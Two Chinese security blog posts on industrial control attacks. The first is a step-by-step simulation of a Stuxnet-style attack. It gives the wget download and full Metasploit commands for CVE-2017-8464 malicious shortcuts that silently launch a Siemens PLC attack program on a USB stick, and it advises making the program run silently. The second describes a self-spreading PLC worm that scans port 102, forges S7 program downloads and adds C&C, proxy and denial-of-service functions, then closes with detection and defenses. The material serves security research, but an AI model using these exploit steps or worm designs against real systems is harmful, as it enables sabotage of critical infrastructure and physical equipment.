2006年,伊朗重启核设施,为了阻止伊朗此举,美国派出间谍买通伊朗核工厂技术人员,将含有漏洞利用工具的U盘插入了工厂控制系统电脑。紧接着,核工厂大量离心机无缘无故损坏,科学家束手无策,工厂被迫关闭,延迟核计划。这就是2010年曝光的“震网事件(Stuxnet)”。


图2 “震网”事件

而攻击伊朗核工厂的漏洞利用工具就是“震网一代”,它因此被公认为世界上首个网络“超级破坏性武器”。

2011年,“震网二代”出现,因为它会在临时目录下生成名为~DQ 的随机文件,也被称作Duqu。

2017年6月14日,微软发布安全公告,修复了可能被黑客利用的Windows快捷方式高危漏洞(CVE-2017-8464),由于其与攻击伊朗核工厂的震网一代利用漏洞相似,被业界普遍称为“震网三代”。

为此,本文结合“震网三代”漏洞和西门子0 day漏洞两个漏洞组合攻击控制系统的仿真演示,其中“震网三代”漏洞用于触发含有西门子0 day漏洞的poc程序。

其思路:先把西门子0 day漏洞的poc程序编译成exe文件,然后exploit出含CVE-2017-8464漏洞的快捷方式,最后把exe程序和快捷方式装载到U盘。


图3 攻击U盘

0x01 漏洞

1 CVE-2017-8464

2017年6月14日,微软发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞。

当存在漏洞的电脑被插上存在病毒木马的U盘时,不需要任何额外操作,漏洞攻击程序就可以借此完全控制用户的电脑系统。 该漏洞也可能籍由用户访问网络共享、从互联网下载、拷贝文件等操作被触发和利用攻击。

特别是能源、交通、金融等行业的基础设施隔离网,由于需要使用U盘、移动硬盘等存储设备进行数据交换,一旦连接含有漏洞(CVE-2017-8464)利用工具的U盘、移动硬盘连接隔离网内的一台电脑,不需要任何操作,电脑就会被病毒控制。

该漏洞的原理同2010年美国和以色列入侵并破坏伊朗核设施的震网行动中所使用的穿透核设施隔离网络的漏洞(CVE-2010-2568)非常类似,它可以很容易的被黑客利用来攻击基础设施、存放关键资料的核心隔离系统等。

详细介绍参考:www.freebuf.com/news/143353.html

其影响版本:

  • Windows 7
  • Windows 8.1
  • Windows RT 8.1
  • Windows 10
  • Windows Server 2008
  • Windows Server 2008 R2
  • Windows Server 2012
  • Windows Server 2012 R2
  • Windows Server 2016

2 Siemens PLC 0day漏洞

该0 day漏洞是一个能使离心机的转动异常的漏洞。

通过VS2008编译成名为attacker.exe的文件,该文件运行时,先连接上PLC, 然后发送攻击包,最后导致离心机的转动异常。


图4 攻击程序attacker.exe,配置文件init.txt

为了演示效果,attacker.exe不会静默运行。为了攻击更加完美,你可以使其静默运行。

0x02 制作攻击u盘

目前CVE-2017-8464漏洞可供测试利用的脚本有如下两个:

本文着重测试msf脚本,然后将exp拷贝至u盘。

下载msf脚本:

$ cd /usr/share/metasploit-framework/modules/exploits/windows/fileformat/
$ ls -al | grep cve_2017_8464_lnk_rce.rb
# 如果存在,就不需要下载
$ wget https://raw.githubusercontent.com/ykoster/metasploit-framework/master/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb

生成exp:

> use exploits/windows/fileformat/cve_2017_8464_lnk_rce
> set payload windows/x64/exec
> set dllname attacker.dll
> set filename attacker.lnk
> set cmd e:\\attacker.exe
> set EXITFUNC thread 
> exploit

注:

  • msf脚本默认对应系统Windows x64,所以payload也选择64位的exec。
  • 工程师站pc中的u盘可用的盘符为E盘。

其参数设置如下图5:


图5 参数设置

执行后,在/root/.msf4/local/生成24个利用文件,如下图6:


图6 exploit


图7 攻击文件

将以上文件复制到u盘。为了更好适配d-z盘符,你需要分别设置set cmd d:\\attacker.exeset cmd z:\\attacker.exe23个盘符的快捷方式。

Ok,这样攻击u盘就弄好了~

0x03 攻击

万事俱备只欠攻击啦~~~

把U盘插入工程师站pc中,然后就看到如下图8所示:


图8 开启U盘自动播放功能,插入U盘后触发漏洞

上图8中的pc是开启了U盘自动播放功能,在u盘插入后,系统自动访问了u盘,所以就触发漏洞。

同样,直接访问目录也会触发漏洞,如下图9所示:


图9 直接访问目录,触发漏洞

此时,离心机的状态已经异常了(如图10所示),而从控制台看到离心机的状态(如图11所示)是正常的!


图10 离心机状态


图11 控制台中的离心机状态

Nice,目前系统已经被攻击了~

0x04 结论

上面实验仿真了伊朗“震网”事件,其主要使用了Windows Lnk远程代码执行漏洞(CVE-2017-8464)和Siemens PLC 0day漏洞。

针对CVE-2017-8464漏洞给出以下几个建议:

特别是能源、交通、金融等行业需要重视,并及时处理。

0x05 参考

...

Tags Read More..


一种新型PLC蠕虫病毒及应对策略

by LauCyun May 12,2017 15:02:55 13,008 views

一、研究背景

随着“互联网+”、“中国智能制造2025“、“工业4.0”等概念的提出,为了提高生产率,独立、隔离的传统工控领域将迎来了新的互联网时代,越来越多的工控设备(如控制器、机器人、数控机床)将被暴露在互联网上或者与企业内网相连。随着互联网时代的来临,安全问题会越来越突出。然而,工业控制系统的安全不同于传统信息网络的安全,一旦出现网络攻击,后果不堪设想。关于工控病毒相关关键事件如下:

  • 2010年伊朗核设施遭受“震网”超级病毒攻击,病毒的复杂程度超出人们的想象,该事件也被称为世界上首个“网络超级武器”事件。由于工业病毒攻击可以直接导致物理设备的故障,并进一步造成生产瘫痪甚至爆炸的灾难性后果。
  • Black Hat 2011,Dillon Beresford等人在他们的报告《Exploiting Siemens Simatic S7 PLCs》中演示了通过西门子S7Comm协议的权限缺失漏洞来远程操作PLC,对PLC进行启停控制、内存的读写。
  • Black Hat 2015,Johannes Klick 等在他们的报告《Internet-facing PLCs – A New Back Orifice》中演示了如何通过PLC实现通信代理,通过PLC突破网络边界,来发现内网中更多的PLC设备。
  • Black Hat 2016,Ralf Spenneberg 等在他们的报告《PLC-Blaster: A Worm Living Solely in the PLC》中提出了PLC蠕虫病毒的概念,提出了西门子1200 V3版本协议认证的缺陷,但没有具体的实现细节。

本文将展示的是一种新型的PLC蠕虫病毒,该病毒可以不借助上位PC机,通过梯形图和SCL相结合的方式,利用PLC自身通信功能,实现了病毒在PLC与PLC之间进行传播。该病毒的实现思路,适用于多个厂家的PLC设备,并且可以在一定规则范围内相互进行传播。本文采用西门子PLC举例进行说明。

 

二、蠕虫实现

蠕虫病毒是一种常见的计算机病毒。它是利用网络进行复制和传播,传染途径是通过网络和电子邮件。最初的蠕虫病毒定义是因为在DOS环境下,病毒发作时会在屏幕上出现一条类似虫子的东西,胡乱吞吃屏幕上的字母并将其改形。蠕虫病毒是自包含的程序(或是一套程序),它能传播自身功能的拷贝或自身的某些部分到其他的计算机系统中(通常是经过网络连接)。

工控蠕虫主要的针对的对象是工业控制设备,通过控制器之间进行病毒传播,这与传统计算机蠕虫是存在很大差别,传统蠕虫寄生对象都是计算机(Window或者Linux),工控蠕虫寄生对象是控制器逻辑代码中。由于病毒可以混淆于正常的控制逻辑代码中,传统防御方式都不适合于工控蠕虫的防护,检测与查杀的方式更强困难。

虽然工控蠕虫与计算机蠕虫存在很多的不同点,但所有的蠕虫的基本架构都是相同的。所有的蠕虫攻击都可以归为一下几个阶段:搜索目标,感染目标,在目标上执行,添加恶意功能。由于PLC控制器提供网络通信能力,在PLC上蠕虫也同样支持这些功能。这篇文章将展示每个必须组件的实现方法。

蠕虫实现的主要的编程软件为西门子的TIA Portal(博途),在TIA Portal(博途)编程软件中,用户通过编写程序来完成工业现场的控制以及工艺流程的实现。西门子POU程序块包括:

  • OB(Organization Block ):组织块,为程序的入口块,被系统直接调用(其他块不可以被系统直接调用,必须包含在OB中才可以执行)。
  • FB(Function Block):功能块,既可以是博途中已包含的功能块,也可以是用户自己编写的块,编程中需要带背景数据块(又叫实例数据块,Instance Data Block)使用。
  • FC(Function):功能,既可以是博途中已包含的功能块,也可以是户自己编写,不可以带背景数据块。
  • DB(Data Block):数据块,分为背景数据块和共享数据块,其中背景数据块为私有块。编程时,户可以定义共享数据块的数据存储结构,不可以定义背景数据块的数据存储结构,必须由FB定义。数据块中的数据掉电不丢失。
  • SFB(System Function Block):系统功能块,系统内部功能块,用户不可自己编写,不可更改,使用同FB。
  • SFC(System Function):系统功能,系统内部功能,用户不可自己编写,不可更改,使用同FC。

博途软件支持的编程语言有: LD(梯形图),FBD(功能块图)、SCL(结构化控制语言)、STL(语句列表)。

S7-1200只支持LAD、FBD和SCL三种编程语言,并且在下载过程中会先停止运行,然后下载程序,下载完成后重新启动。

2.1 实现流程

病毒首先选择IP通过西门子通信端口102尝试建立连接,如果连接建立成功,则检查目标PLC是否已被感染。如连接未建立成功,或目标PLC已被感染,则选择新IP重新尝试建立连接。如目标PLC未被感染,则停止目标PLC,下装病毒程序,最后重新启动目标PLC。流程如图1所示。

图1 蠕虫实现流程

2.2 寻找目标

所有的西门子PLC通过102端口进行TCP通信,因此可以通过尝试建立102端口的TCP通信来进行目标的寻找。Step7组态软件中提供了两个FB块,TCON以及TDISCON,如图2所示。TCON用来建立TCP连接,其中REQ输入管脚通过上升沿信号触发,CONNECT输入管脚配置TCON建立连接的如对端IP、对端端口号,本机端口号,通信方式等相关参数。TDISCON用来断掉TCP连接,REQ上升沿触发。

图2 TCON和TDISCON功能块

2.2.1 使用TCON块尝试建立连接

图3为尝试建立连接的FC块,首先使用TCON块建立连接,如果建立成功,即输出管脚DONE为TRUE时,则置状态字con_state为20,继续下一步病毒的传播感染操作。如连续200次建立连接不成功,则置状态字con_state为0。

图3 使用TCON块尝试建立连接

2.2.2 使用TDISCON进行连接的断开并更改IP

如连接未成功建立或病毒传播完成,即状态字con_state为0时,则使用TDISCON做断开连接操作,如果输出管脚ERROR或输出管脚DONE为TRUE时,将TCON输入管脚CONNECT中的对端IP末位加一,并使用该新IP再次尝试建立连接。实现过程如图4所示。

图4 使用TDISCON进行连接的断开并更改IP

2.2.3 检测目标PLC是否已感染病毒

成功建立连接后,首先判断目标PLC是否已经感染该病毒,通过TSEND功能块发送相关数据报文,并对返回的报文进行判断,如未被感染,则继续执行病毒的传播过程,如已感染,则置状态字con_state为0,重新更换IP尝试建立连接。过程如图5所示。

图5 检测目标PLC是否已感染病毒

2.3 传播感染

正常情况下,博途软件会对PLC进行程序的下装操作,而下装过程正式利用了西门子私有的S7协议。在西门子PLC简介章节中提到西门子S7Comm协议以及早期的S7Comm-Plus协议已可以被研究者熟悉利用。因此在传播感染阶段,可以根据S7协议的内容,通过伪造博途软件下装程序的报文,可以实现PLC到PLC的程序传输操作。也就是说已感染病毒的PLC向目标PLC发送下装程序块的报文,而目标PLC识别到报文后,误以为是博途软件对其进行下装,最后会将报文中的相关功能块存储在PLC中。

Step7组态软件中使用TSEND功能块进行数据的发送,使用TRCV功能块进行数据的接收,如图6所示。在TSEND块中,REQ输入管脚上升沿触发,DATA为需要发送的数据区。在TRCV中,EN_R上升沿触发,DATA为接收数据的存储区,RCVD_LEN为实际接收到数据的长度。

图6 TSEND和TRCV功能块

在程序的发送过程中,需要满足S7协议的相关通信时序以及报文格式。图7所示为S7建立连接的过程。首先是TCP的三次握手,接下来建立COTP连接,建立完成后进行S7协议的连接建立。建立成功后可以使用S7协议进行启停PLC、下装程序、PLC中数据读写等正常操作。

图7 S7协议通信时序

S7通信协议应用层数据封装模型如图8所示,其中:

  • TCP:即传输控制协议,是一种面向连接(连接导向)的、可靠的、基于IP的传输层协议,在IETF的RFC 793标准中进行定义。
  • ISO-ON-TCP:即基于TCP的ISO传输服务,在在IETF的RFC1006标准中进行说明。
  • ISO Transport protocol:即ISO传输协议,在ISO8073中进行说明。

图8 S7协议应用层数据分布

图9为下装程序块的S7Comm数据报文,其中0x32为S7Comm协议标识符,Protocol Data Unit Reference为协议数据单元标识符,在S7Comm协议中用作通信过程的时序标记。Function标识了该数据报文的功能。Data报文区为所对应功能块的内容。

图9 功能块下装数据报文

在博途软件中,使用FC功能块实现连接的建立,寻找新的目标IP,判断目标PLC是否已被感染病毒,并进行病毒程序的传播等功能。使用一个DB数据块存放FC功能块中所用到的所有全局变量,使用另外一个DB数据块存放病毒感染全部过程所需要的报文内容。

2.4 激活

PLC执行顺序是从OB1开始,按顺序执行到OB9999的。

建立调用病毒程序的OB块OB9999,并将其存植入到目标PLC中,用以激病毒,并进行新的病毒传播感染。西门子PLC在运行时,会按照从OB1到OB9999的顺序进行调用。如图10所示。

图10 西门子PLC程序调用步骤

在其他病毒块下载完成后,用OB9999(也可以用其他非系统自带的OB块,未了避免病毒的OB块与PLC中正常的OB块重复,建议块的序号尽量大些)启动病毒程序。

2.5 恶意功能的实现

2.5.1 C&C服务器

一旦PLC被感染病毒,会基于TCP主动去连接C&C服务器。通过C&C服务器,可以远程控制PLC,包括PLC的启停,输出值的改变等。

2.5.2 Socks4代理

一旦PLC被病毒感染,在局域网中的其他PLC,可以通过Socks4代理连接到C&C服务器。

2.5.3 拒绝服务攻击

可以向PLC中下装例如死循环、除零或者负数开方的程序,让PLC停止工作。

2.5.4 改变输出值

可以通过编写正常的PLC程序,来改变输出值,进而影响现场设备的正常运行。

2.6 感染前后对比

博途软件提供了PLC程序在线与离线差异的检测功能,如图12所示。程序块后面的绿色圆圈表示在线程序与离线程序一致,蓝色与橘黄色组成的圆形表示在线程序与离线程序不一致。块为虚样式,表示博途的程序中没有此块,而PLC有。

图11 感染前

图12 感染后

三、检测与防护

3.1 病毒的检测

3.1.1 利用博途软件

博途软件提供了PLC程序在线与离线差异的检测功能,如图13所示。程序块后面的绿色圆圈表示在线程序与离线程序一致,蓝色与橘黄色组成的圆形表示在线程序与离线程序不一致。

图13 博途软件对程序在线离线一致性的检测

3.1.2 观察PLC的状态灯

下装程序的过程中会导致PLC的停止与启动,在此期间,所有模拟量数值与开关量状态会保持不变。然后该时间仅有几秒钟,操作员可能会忽视该细节。

3.1.3 使用工控漏扫设备

使用工控漏扫设备对PLC进行扫描,由于病毒程序必须利用较大编号的OB块。因此扫描较大编号的OB块可以对病毒进行检测。

3.1.4 检测网络

在病毒进行传播的过程中,网络中会出现PLC与PLC通信的数据报文,根据该异常报文可以检测出病毒测存在。

3.2 防护措施

  • 部署控制设备管理系统,定期对PLC控制逻辑代码进行备份,一旦PLC被感染,可以迅速通过备份的PLC程序重置进行快速恢复。
  • 设置CPU访问密码,禁止非授权用户上下载逻辑代码,密码一定不能是弱口令。
  • 对工控网络进行风险评估,识别核心资产,根据不同安全级别进行安全分区,一旦受到网络攻击,将损失控制在最小的范围内。
  • 在工控系统中安装工控监测审计系统,通过工控协议深度解析,根据特征值的进行采集、分析与识别,如发现异常数据包,如控制器启停、程序上下载,则记录日志或报警。
  • 安全域边界安装工控防火墙,通过工控防火墙,对异常数据包进行检测以及隔离防护。
  • 针对工控网络制定应急处理预案,当遇见突发网络攻击事件,可以实现快速恢复。

 

四、参考文档

1 工匠实验室:http://icsmaster.com/security/plcblaster.html

2 绿盟科技:http://www.nsfocus.com/content/details_141_2340.html

 

(全文完)

...

Tags Read More..